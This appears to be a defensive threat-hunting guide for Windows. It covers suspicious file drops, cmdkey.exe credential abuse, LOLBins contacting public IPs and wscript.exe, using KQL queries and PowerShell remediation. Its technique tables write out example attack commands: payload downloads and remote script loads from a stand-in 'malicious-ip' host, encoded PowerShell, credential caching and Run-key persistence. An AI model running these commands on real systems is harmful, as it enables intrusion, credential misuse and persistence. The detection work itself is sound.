**🕵️ Identify Frequent Modifications to TXT/JSON/DB Files**

```kusto
DeviceFileEvents
| where FolderPath contains "\\Temp\\" or FolderPath contains "\\AppData\\"
| where FileName endswith ".txt" or FileName endswith ".json" or FileName endswith ".db"
| summarize ModificationCount=count() by FileName, DeviceName
| where ModificationCount > 10
```

**🕵️ Monitor Exfiltration of TXT/JSON/DB Files**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName contains ".exe"
| where RemoteIP != "127.0.0.1"
| where InitiatingProcessCommandLine contains ".txt" or InitiatingProcessCommandLine contains ".json"
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, InitiatingProcessCommandLine
```

***

### 🕵️ **4. Investigation Techniques**

#### 1️⃣ **Analyze File Contents**

**Open and inspect the content of suspicious files:**

```powershell
Get-Content -Path "C:\Users\<User>\AppData\Local\Temp\suspicious.txt"
```

**Check for encoded or obfuscated content:**

```powershell
(Get-Content "C:\Users\<User>\AppData\Local\Temp\suspicious.txt") -match "Base64"
```

***

#### 2️⃣ **Check File Hashes**

**Verify file integrity:**

```powershell
Get-FileHash "C:\Users\<User>\AppData\Local\Temp\suspicious.db"
```

* Compare the hash with **VirusTotal**.

***

#### 3️⃣ **Trace Parent Processes**

**Identify the process that created the file:**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ExecutablePath -like "*Temp*" }
```

***

#### 4️⃣ **Review Event Logs**

* **Event ID 4663:** Object Access (File/Folder Modification)
* **Event ID 4688:** Process Creation

***

### 🔧 **5. Remediation Steps**

#### 📌 **1. Terminate Suspicious Processes**

```powershell
Stop-Process -Id <PID> -Force
```

#### 📌 **2. Quarantine Suspicious Files**

```powershell
Move-Item -Path "C:\Users\<User>\AppData\Local\Temp\suspicious.txt" -Destination "C:\Quarantine"
```

#### 📌 **3. Block Malicious Network Connections**

```powershell
New-NetFirewallRule -DisplayName "Block Suspicious Outbound Traffic" -Direction Outbound -RemoteAddress "Suspicious_IP" -Action Block
```

#### 📌 **4. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

#### 📌 **5. Clean Temp Directories**

```powershell
Remove-Item "C:\Users\<User>\AppData\Local\Temp\*" -Recurse -Force
```

***

### 🛡️ **6. Prevention Steps**

1. **Enable Controlled Folder Access in Defender:**

```powershell
Set-MpPreference -EnableControlledFolderAccess Enabled
```

2. **Restrict Execution in Temp and AppData Directories:**

* Use **AppLocker** or **WDAC** to block execution from these directories.

3. **Enable Object Access Auditing:**
   * Enable **Audit Object Access** via Group Policy.
4. **Monitor File Creation in Temp and AppData:**

* Regularly monitor file activities in these directories.

5. **Limit User Write Permissions:**
   * Ensure standard users cannot modify sensitive subdirectories.
6. **Educate Users:**
   * Avoid downloading or executing files from untrusted sources.

***

### 🧠 **7. Key Takeaways**

* **Monitor File Drops:** Pay close attention to TXT/JSON/DB files in `Temp` and `AppData`.
* **Check Process Relationships:** Correlate file creation with parent processes.
* **Look for Obfuscation:** Encoded content or random filenames are red flags.
* **Audit Network Traffic:** Exfiltration often follows data staging.

***

## 🚨 **Signed Binary Proxy Execution - Cmdkey: Threat Analysis**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is `cmdkey.exe`?**

* `cmdkey.exe` is a **legitimate Windows binary** used to manage stored credentials in the **Windows Credential Manager**.
* It allows users to **create, delete, and list cached credentials** for remote systems and network shares.

#### 📑 **Why is it Abused?**

Attackers often abuse `cmdkey.exe` because:

1. It's a **signed binary**, trusted by Windows.
2. It can **store or retrieve credentials**, useful for **credential dumping** or **lateral movement**.
3. It can run commands or access resources without raising suspicion.

***

#### 📌 **Common Malicious Uses of `cmdkey.exe`:**

| **Technique**               | **Example Command**                                           | **Purpose**                                |
| --------------------------- | ------------------------------------------------------------- | ------------------------------------------ |
| **Add Cached Credentials**  | `cmdkey /add:192.168.1.10 /user:admin /pass:P@ssw0rd`         | Store credentials for lateral movement.    |
| **List Cached Credentials** | `cmdkey /list`                                                | Enumerate stored credentials.              |
| **Access Remote Shares**    | `cmdkey /add:remotehost /user:domain\admin /pass:password123` | Authenticate and access shares stealthily. |
| **Delete Credentials**      | `cmdkey /delete:target`                                       | Clear credentials after access.            |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection via Command Line**

**🕵️ List All Cached Credentials:**

```cmd
cmdkey /list
```

**🕵️ Monitor Process Activity with `cmdkey.exe`:**

```powershell
Get-Process -Name cmdkey
```

**🕵️ Identify Command History for `cmdkey`:**

```powershell
Get-History | Where-Object { $_.CommandLine -match "cmdkey" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect `cmdkey` Usage:**

```kusto
DeviceProcessEvents
| where FileName == "cmdkey.exe"
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessFileName, AccountName
```

**🕵️ Detect Credential Dumping via `cmdkey`:**

```kusto
DeviceProcessEvents
| where FileName == "cmdkey.exe"
| where ProcessCommandLine contains "/list"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Detect `cmdkey` for Lateral Movement:**

```kusto
DeviceProcessEvents
| where FileName == "cmdkey.exe"
| where ProcessCommandLine contains "/add"
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessFileName, AccountName
```

**🕵️ Identify `cmdkey` with Suspicious Parents:**

```kusto
DeviceProcessEvents
| where FileName == "cmdkey.exe"
| where InitiatingProcessFileName in~ ("powershell.exe", "cmd.exe", "wscript.exe", "cscript.exe")
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessFileName, AccountName
```

***

#### 📊 **Event Viewer Logs**

* **Event ID 4688:** Process Creation
* **Event ID 4624:** Account Login (Authentication Success)
* **Event ID 4776:** Domain Controller attempts to validate credentials

**Filter for `cmdkey.exe` in Event ID 4688:**

1. Open **Event Viewer** → `Windows Logs` → `Security`
2. Filter for:

   ```arduino
   Process Name: cmdkey.exe
   Process Command Line: /list, /add, /delete
   ```

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Validate the Command Line Arguments:**

* Check the parameters passed to `cmdkey.exe`.
* Look for encoded credentials or suspicious IPs.

#### 2️⃣ **Trace Parent Process:**

* Identify the parent process that launched `cmdkey.exe`:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ProcessId -eq <PID> } | Select-Object ParentProcessId
```

#### 3️⃣ **Review Credentials in Credential Manager:**

* Open **Credential Manager** (`control.exe /name Microsoft.CredentialManager`)
* Look for unexpected entries.

#### 4️⃣ **Check User Context:**

* Identify the user account executing `cmdkey.exe`:

```powershell
Get-Process -Name cmdkey | Select-Object StartInfo
```

#### 5️⃣ **Analyze Related Network Activity:**

* Check if `cmdkey` was used to access remote systems:

```powershell
Get-NetTCPConnection | Where-Object { $_.OwningProcess -eq <PID> }
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Terminate Suspicious Processes**

```powershell
Stop-Process -Name cmdkey -Force
```

#### 📌 **2. Remove Malicious Cached Credentials**

* Remove specific credentials:

```cmd
cmdkey /delete:target
```

* Clear all cached credentials:

```cmd
cmdkey /delete:*
```

#### 📌 **3. Monitor and Reset Affected Accounts**

* Reset passwords for accounts listed in cached credentials.

#### 📌 **4. Block Unauthorized Use of `cmdkey`:**

* Implement AppLocker or WDAC policies to restrict access to `cmdkey.exe`.

**Example AppLocker Rule:**

```xml
<RuleCollection>
    <FilePathRule Id="1" Name="Block cmdkey" Description="Block unauthorized cmdkey execution" UserOrGroupSid="S-1-1-0" Action="Deny">
        <Path>%SystemRoot%\System32\cmdkey.exe</Path>
    </FilePathRule>
</RuleCollection>
```

#### 📌 **5. Perform a Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Process Command Line Logging:**
   * Use **Audit Process Creation** via Group Policy.
2. **Limit Access to `cmdkey.exe`:**
   * Restrict access to `cmdkey.exe` to administrative users only.
3. **Enable Credential Guard:**

```powershell
Enable-WindowsOptionalFeature -Online -FeatureName Windows-Defender-Credential-Guard
```

4. **Regular Password Rotation:**
   * Rotate credentials regularly to limit exposure.
5. **Enable ASR Rules in Defender:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

6. **SIEM Monitoring:**
   * Set alerts for `cmdkey.exe` commands like `/list`, `/add`, `/delete`.

***

### 🧠 **6. Key Takeaways**

* `cmdkey.exe` is a **legitimate Windows binary** often abused for credential manipulation and lateral movement.
* Monitor commands containing `/add`, `/list`, `/delete`.
* Pay attention to **parent processes** (e.g., `powershell.exe`, `cmd.exe`).
* Use **KQL Queries** and **Event Viewer Logs** for detection.
* **Restrict usage** via **AppLocker** and **Credential Guard**.

***

## 🚨 **PowerShell/CMD/WMIC/Rundll32/Regsvr32 Communicating to Public IP: Threat Analysis**

### 🔍 **1. Attack Breakdown**

#### 📝 **Why These Tools Are Abused?**

* **PowerShell:** Powerful scripting tool for automation, often used for fileless attacks.
* **CMD:** Default command-line interpreter, used to run scripts and commands.
* **WMIC:** Windows Management Instrumentation Command-line, abused for information gathering.
* **Rundll32:** Executes DLL files, often used for stealthy payload execution.
* **Regsvr32:** Registers or unregisters DLL files, used for proxy execution.

#### 📑 **Why Public IP Communication Is Suspicious?**

* Legitimate tools rarely need to communicate with **public IP addresses** directly.
* Public IP communication could indicate:
  * **Command & Control (C2)** communication.
  * **Data Exfiltration.**
  * **Payload Downloading.**
  * **Lateral Movement Across Networks.**

***

### 📊 **2. Common Malicious Commands**

| **Tool**       | **Malicious Command Example**                                 | **Purpose**                      |
| -------------- | ------------------------------------------------------------- | -------------------------------- |
| **PowerShell** | `powershell.exe -NoP -Enc SQBFAFgAUABMAE8AUgBFAFIA`           | Run encoded payload.             |
| **CMD**        | `cmd.exe /c curl http://malicious-ip/payload.exe`             | Download and execute.            |
| **WMIC**       | `wmic process call create "powershell -enc xyz"`              | Execute malicious script.        |
| **Rundll32**   | `rundll32.exe javascript:"\\http://malicious-ip/payload.dll"` | Load malicious DLL.              |
| **Regsvr32**   | `regsvr32.exe /s /n /u /i:http://malicious-ip/file.sct`       | Register script for persistence. |

***

### 🛡️ **3. Detection Techniques**

#### 📊 **Manual Inspection**

**🕵️ Check Network Connections**

**PowerShell Example:**

```powershell
Get-NetTCPConnection | Where-Object { $_.RemoteAddress -notlike "192.168.*" -and $_.RemoteAddress -notlike "10.*" }
```

**🕵️ Trace Parent Processes**

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ExecutablePath -match "powershell|cmd|wmic|rundll32|regsvr32" } | Select-Object Name, ParentProcessId, CommandLine
```

**🕵️ List Suspicious Connections**

```powershell
netstat -ano | findstr :80
netstat -ano | findstr :443
```

**🕵️ Check Recent Commands**

```powershell
Get-History | Where-Object { $_.CommandLine -match "http|ftp|base64|enc" }
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Suspicious Outbound Connections**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("powershell.exe", "cmd.exe", "wmic.exe", "rundll32.exe", "regsvr32.exe")
| where RemoteIP != "127.0.0.1" and RemoteIP != "::1"
| where RemoteIP != "192.168.0.0/16" and RemoteIP != "10.0.0.0/8"
| project Timestamp, DeviceName, RemoteIP, RemotePort, InitiatingProcessFileName, ProcessCommandLine
```

**🕵️ Detect Suspicious Parent Processes:**

```kusto
DeviceProcessEvents
| where FileName in~ ("powershell.exe", "cmd.exe", "wmic.exe", "rundll32.exe", "regsvr32.exe")
| where InitiatingProcessFileName in~ ("explorer.exe", "svchost.exe", "services.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine
```

**🕵️ Monitor HTTP/HTTPS Requests:**

```kusto
DeviceNetworkEvents
| where RemoteUrl startswith "http"
| where InitiatingProcessFileName in~ ("powershell.exe", "cmd.exe", "wmic.exe", "rundll32.exe", "regsvr32.exe")
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort, ProcessCommandLine
```

**🕵️ Check for Encoded or Obfuscated Commands:**

```kusto
DeviceProcessEvents
| where ProcessCommandLine matches regex "(?i)-enc|base64|http|ftp"
| project Timestamp, DeviceName, FileName, ProcessCommandLine
```

***

#### 📊 **Event Viewer Logs**

* **Event ID 4688:** Process Creation
* **Event ID 5156:** Network Connection Allowed
* **Event ID 4104:** PowerShell Script Block Logging

**Filter Example for PowerShell:**

* Open **Event Viewer** → `Applications and Services Logs → Microsoft → Windows → PowerShell → Operational`
* Search for **Event ID 4104** and filter:

  ```sql
  CommandLine contains "http"
  ```

***

### 🕵️ **4. Investigation Techniques**

#### 1️⃣ **Validate Remote IP Addresses**

* Use tools like **VirusTotal**, **AbuseIPDB**, or **Shodan** to validate IP addresses:

```powershell
Invoke-RestMethod -Uri "https://ipinfo.io/<RemoteIP>"
```

#### 2️⃣ **Trace Parent-Child Processes**

* Check parent processes:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

#### 3️⃣ **Inspect Command History**

* Review PowerShell and CMD history:

```powershell
Get-History | Where-Object { $_.CommandLine -match "http|ftp|enc" }
```

#### 4️⃣ **Inspect Downloads**

* Check if files were downloaded:

```powershell
Get-ChildItem -Path "C:\Windows\Temp", "C:\Users\<User>\AppData\Local\Temp" -Filter "*.exe"
```

***

### 🔧 **5. Remediation Steps**

#### 📌 **1. Isolate the System**

```powershell
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
```

#### 📌 **2. Terminate Malicious Processes**

```powershell
Stop-Process -Id <PID> -Force
```

#### 📌 **3. Block Suspicious IPs in Firewall**

```powershell
New-NetFirewallRule -DisplayName "Block Suspicious IP" -Direction Outbound -RemoteAddress "<Suspicious_IP>" -Action Block
```

#### 📌 **4. Quarantine Suspicious Files**

```powershell
Move-Item -Path "C:\Users\<User>\AppData\Local\Temp\payload.exe" -Destination "C:\Quarantine"
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **6. Prevention Steps**

1. **Enable Script Block Logging:**

```powershell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
```

2. **Restrict Unsigned Scripts:**

```powershell
Set-ExecutionPolicy AllSigned -Force
```

3. **Enable Attack Surface Reduction (ASR) Rules:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

4. **Monitor Outbound Traffic:**

* Use **SIEM tools** to alert on non-standard tools communicating with public IPs.

5. **User Awareness:**

* Educate users to avoid executing unknown scripts or commands.

***

### 🧠 **7. Key Takeaways**

* **Legitimate Tools, Malicious Intent:** PowerShell, CMD, WMIC, Rundll32, and Regsvr32 are often abused.
* **Monitor Public IP Communication:** Legitimate tools rarely interact directly with public IPs.
* **Focus on Obfuscation:** Commands with `-enc`, Base64, or long strings are suspicious.
* **SIEM Alerts Are Essential:** Real-time monitoring and alerting are crucial.

***

## 🚨 **Non-Baselined `wscript.exe` Executed: Threat Analysis**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is `wscript.exe`?**

* `wscript.exe` (**Windows Script Host**) is a legitimate Windows binary used to execute **VBScript (.vbs)** and **JScript (.js)** files.
* It is commonly used for **system automation** and **script execution**.

#### 📑 **Why Attackers Abuse `wscript.exe`?**

* **Living Off the Land Binary (LOLBin):** Trusted by Windows, bypasses many security tools.
* **Fileless Attacks:** Can execute encoded or obfuscated scripts directly in memory.
* **Persistence Mechanism:** Can run scripts on startup.
* **Evasion Tactics:** Attackers use obfuscated `.vbs` scripts to hide payloads.

***

### 📌 **2. Common Malicious Uses of `wscript.exe`**

| **Technique**                | **Command Example**                                                                                                     | **Purpose**                                   |
| ---------------------------- | ----------------------------------------------------------------------------------------------------------------------- | --------------------------------------------- |
| **Execute Malicious Script** | `wscript.exe C:\Temp\malicious.vbs`                                                                                     | Run a malicious VBScript file.                |
| **Download Payload**         | `wscript.exe //E:VBScript //B C:\Temp\payload.vbs`                                                                      | Download and execute payload.                 |
| **Encoded Script Execution** | `wscript.exe /E:vbscript "echo <Base64String>"`                                                                         | Execute encoded payload.                      |
| **Obfuscation**              | `wscript.exe "C:\Users\Public\update.vbs"`                                                                              | Run hidden scripts from suspicious locations. |
| **Persistence**              | `reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Update /t REG_SZ /d "wscript.exe C:\Temp\persist.vbs"` | Add persistence via registry.                 |

***

### 🛡️ **3. Detection Techniques**

#### 📊 **Manual Detection**

**🕵️ List Running Instances of `wscript.exe`:**

```powershell
Get-Process -Name wscript -IncludeUserName | Select-Object ProcessName, Id, Path, StartTime
```

**🕵️ Check Command-Line History for Suspicious Scripts:**

```powershell
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Message -match "wscript" }
```

**🕵️ Identify Script Execution Paths:**

```powershell
Get-ChildItem -Path "C:\Users\*\AppData\Local\Temp" -Recurse -Filter "*.vbs"
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect `wscript.exe` Execution:**

```kusto
DeviceProcessEvents
| where FileName == "wscript.exe"
| project Timestamp, DeviceName, ProcessCommandLine, FolderPath, InitiatingProcessFileName, AccountName
```

**🕵️ Detect Suspicious Scripts in Non-Standard Locations:**

```kusto
DeviceProcessEvents
| where FileName == "wscript.exe"
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| project Timestamp, DeviceName, FolderPath, ProcessCommandLine, AccountName
```

**🕵️ Identify Encoded or Obfuscated Scripts:**

```kusto
DeviceProcessEvents
| where FileName == "wscript.exe"
| where ProcessCommandLine contains "-enc" or ProcessCommandLine matches regex "(?i)Base64"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Suspicious Parent Processes:**

```kusto
DeviceProcessEvents
| where FileName == "wscript.exe"
| where InitiatingProcessFileName in~ ("cmd.exe", "powershell.exe", "explorer.exe", "mshta.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine, AccountName
```

**🕵️ Detect `wscript.exe` Communicating with Public IP:**

```kusto
DeviceNetworkEvents
| where InitiatingProcessFileName == "wscript.exe"
| where RemoteIP != "127.0.0.1"
| where RemoteIP != "::1"
| project Timestamp, DeviceName, RemoteIP, RemoteUrl, ProcessCommandLine
```

***

#### 📊 **Event Viewer Logs**

* **Event ID 4688:** Process Creation
* **Event ID 4104:** Script Block Logging (PowerShell)
* **Event ID 5156:** Network Connection Allowed

**Filter Example for `wscript.exe`:**

1. Open **Event Viewer** → `Windows Logs → Security`
2. Filter for:

   ```arduino
   Process Name: wscript.exe
   Process Command Line: .vbs, .js
   ```

***

### 🕵️ **4. Investigation Techniques**

#### 1️⃣ **Inspect Script Contents**

* Open `.vbs` or `.js` files using a text editor:

```powershell
Get-Content -Path "C:\Temp\malicious.vbs"
```

#### 2️⃣ **Check File Hashes**

* Validate against **VirusTotal**:

```powershell
Get-FileHash "C:\Temp\malicious.vbs"
```

#### 3️⃣ **Trace Parent Processes**

* Identify what triggered `wscript.exe`:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ProcessId -eq <PID> } | Select-Object ParentProcessId
```

#### 4️⃣ **Review Registry for Persistence**

* Check common persistence registry keys:

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
```

#### 5️⃣ **Monitor Network Traffic**

* Identify network connections initiated by `wscript.exe`:

```powershell
Get-NetTCPConnection | Where-Object { $_.OwningProcess -eq <PID> }
```

***

### 🔧 **5. Remediation Steps**

#### 📌 **1. Terminate Suspicious Processes**

```powershell
Stop-Process -Name wscript -Force
```

#### 📌 **2. Quarantine Malicious Scripts**

```powershell
Move-Item -Path "C:\Temp\malicious.vbs" -Destination "C:\Quarantine"
```

#### 📌 **3. Remove Registry Persistence**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "suspicious"
```

#### 📌 **4. Block Outbound Traffic**

```powershell
New-NetFirewallRule -DisplayName "Block wscript Public IP Traffic" -Direction Outbound -RemoteAddress "<Suspicious_IP>" -Action Block
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **6. Prevention Steps**

1. **Restrict Execution of `.vbs` Files from Temp/AppData:**
   * Use **AppLocker** or **WDAC** to prevent `.vbs` execution from non-standard locations.
2. **Disable Windows Script Host (WSH) if not required:**

```powershell
reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
```

3. **Enable Script Block Logging:**

```powershell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1
```

4. **Monitor File Drops in Temp/AppData:**
   * Regularly inspect `C:\Temp` and `C:\Users\<User>\AppData\Local\Temp`.
5. **Educate Users:**
   * Avoid opening untrusted email attachments or `.vbs` files.

***

### 🧠 **7. Key Takeaways**

* **Monitor Non-Standard Execution Paths:** Scripts in `Temp` and `AppData` are red flags.
* **Focus on Network Activity:** `wscript.exe` should rarely make outbound connections.
* **Parent-Child Analysis:** Identify who spawned `wscript.exe`.
* **Disable Unused Tools:** If not required, disable Windows Script Host.

***

***
